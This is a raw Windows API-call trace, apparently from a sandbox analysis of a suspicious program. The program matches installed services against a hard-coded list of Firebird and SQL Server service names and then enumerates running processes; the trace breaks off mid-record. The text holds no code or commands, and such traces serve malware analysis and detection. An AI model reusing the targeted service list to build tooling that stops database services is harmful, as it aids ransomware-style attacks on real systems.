[0295.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0295.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0295.156] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0295.156] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0295.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0295.156] lstrlenW (lpString="EventLog") returned 8 [0295.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0295.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0295.157] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0295.157] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0295.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0295.157] lstrlenW (lpString="EventSystem") returned 11 [0295.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0295.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0295.157] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0295.157] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0295.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0295.157] lstrlenW (lpString="FontCache") returned 9 [0295.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0295.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0295.157] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0295.157] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0295.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0295.157] lstrlenW (lpString="gpsvc") returned 5 [0295.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0295.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0295.157] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0295.157] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0295.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0295.157] lstrlenW (lpString="iphlpsvc") returned 8 [0295.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0295.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0295.157] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0295.157] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0295.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0295.157] lstrlenW (lpString="KeyIso") returned 6 [0295.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0295.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0295.158] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0295.158] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0295.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0295.158] lstrlenW (lpString="LanmanServer") returned 12 [0295.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0295.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0295.158] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0295.158] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0295.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0295.158] lstrlenW (lpString="LanmanWorkstation") returned 17 [0295.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0295.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0295.158] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0295.158] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0295.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0295.158] lstrlenW (lpString="lfsvc") returned 5 [0295.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0295.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0295.158] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0295.158] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0295.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0295.158] lstrlenW (lpString="lmhosts") returned 7 [0295.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0295.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0295.158] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0295.158] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0295.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0295.159] lstrlenW (lpString="LSM") returned 3 [0295.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0295.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0295.159] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0295.159] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0295.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0295.159] lstrlenW (lpString="MpsSvc") returned 6 [0295.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0295.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0295.159] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0295.159] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0295.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0295.159] lstrlenW (lpString="NcbService") returned 10 [0295.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0295.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0295.159] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0295.159] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0295.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0295.159] lstrlenW (lpString="netprofm") returned 8 [0295.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0295.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0295.159] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0295.159] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0295.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0295.159] lstrlenW (lpString="NgcSvc") returned 6 [0295.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0295.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0295.160] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0295.160] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0295.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0295.160] lstrlenW (lpString="NlaSvc") returned 6 [0295.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0295.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0295.160] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0295.160] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0295.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0295.160] lstrlenW (lpString="nsi") returned 3 [0295.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0295.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0295.160] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0295.160] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0295.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0295.160] lstrlenW (lpString="PcaSvc") returned 6 [0295.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0295.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0295.160] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0295.160] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0295.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0295.160] lstrlenW (lpString="PlugPlay") returned 8 [0295.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0295.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0295.160] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0295.160] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0295.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0295.160] lstrlenW (lpString="Power") returned 5 [0295.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0295.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0295.161] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0295.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0295.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0295.161] lstrlenW (lpString="ProfSvc") returned 7 [0295.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0295.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0295.161] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0295.161] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0295.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0295.161] lstrlenW (lpString="RpcEptMapper") returned 12 [0295.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0295.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0295.161] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0295.161] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0295.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0295.161] lstrlenW (lpString="RpcSs") returned 5 [0295.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0295.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0295.161] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0295.161] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0295.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0295.161] lstrlenW (lpString="SamSs") returned 5 [0295.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0295.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0295.161] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0295.161] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0295.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0295.162] lstrlenW (lpString="Schedule") returned 8 [0295.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0295.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0295.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0295.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0295.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0295.162] lstrlenW (lpString="SecurityHealthService") returned 21 [0295.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0295.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0295.162] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0295.162] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0295.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0295.162] lstrlenW (lpString="SENS") returned 4 [0295.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0295.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0295.162] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0295.162] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0295.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0295.162] lstrlenW (lpString="ShellHWDetection") returned 16 [0295.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0295.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0295.162] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0295.162] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0295.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0295.162] lstrlenW (lpString="Spooler") returned 7 [0295.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0295.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0295.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0295.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0295.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0295.163] lstrlenW (lpString="StateRepository") returned 15 [0295.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0295.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0295.163] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0295.163] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0295.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0295.163] lstrlenW (lpString="SysMain") returned 7 [0295.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0295.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0295.163] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0295.163] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0295.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0295.163] lstrlenW (lpString="SystemEventsBroker") returned 18 [0295.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0295.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0295.163] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0295.163] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0295.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0295.163] lstrlenW (lpString="Themes") returned 6 [0295.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0295.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0295.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0295.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0295.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0295.163] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0295.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0295.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0295.164] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0295.164] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0295.164] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3d0b560 | out: hHeap=0x700000) returned 1 [0295.164] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0295.690] Process32FirstW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.691] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0295.692] lstrlenW (lpString="System") returned 6 [0295.692] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0295.693] lstrlenW (lpString="smss.exe") returned 8 [0295.693] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0295.694] lstrlenW (lpString="csrss.exe") returned 9 [0295.694] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0295.695] lstrlenW (lpString="wininit.exe") returned 11 [0295.695] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0295.696] lstrlenW (lpString="csrss.exe") returned 9 [0295.696] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0295.697] lstrlenW (lpString="winlogon.exe") returned 12 [0295.697] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0295.698] lstrlenW (lpString="services.exe") returned 12 [0295.698] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0295.699] lstrlenW (lpString="lsass.exe") returned 9 [0295.699] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0295.700] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0295.700] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0295.701] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0295.701] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.702] lstrlenW (lpString="svchost.exe") returned 11 [0295.702] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.703] lstrlenW (lpString="svchost.exe") returned 11 [0295.703] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0295.704] lstrlenW (lpString="dwm.exe") returned 7 [0295.704] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.705] lstrlenW (lpString="svchost.exe") returned 11 [0295.705] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.705] lstrlenW (lpString="svchost.exe") returned 11 [0295.705] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.706] lstrlenW (lpString="svchost.exe") returned 11 [0295.706] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.707] lstrlenW (lpString="svchost.exe") returned 11 [0295.707] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.708] lstrlenW (lpString="svchost.exe") returned 11 [0295.708] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.708] lstrlenW (lpString="svchost.exe") returned 11 [0295.709] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.709] lstrlenW (lpString="svchost.exe") returned 11 [0295.709] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.710] lstrlenW (lpString="svchost.exe") returned 11 [0295.710] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.711] lstrlenW (lpString="svchost.exe") returned 11 [0295.711] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.712] lstrlenW (lpString="svchost.exe") returned 11 [0295.712] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0295.713] lstrlenW (lpString="spoolsv.exe") returned 11 [0295.713] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.714] lstrlenW (lpString="svchost.exe") returned 11 [0295.714] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0295.715] lstrlenW (lpString="audiodg.exe") returned 11 [0295.715] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, 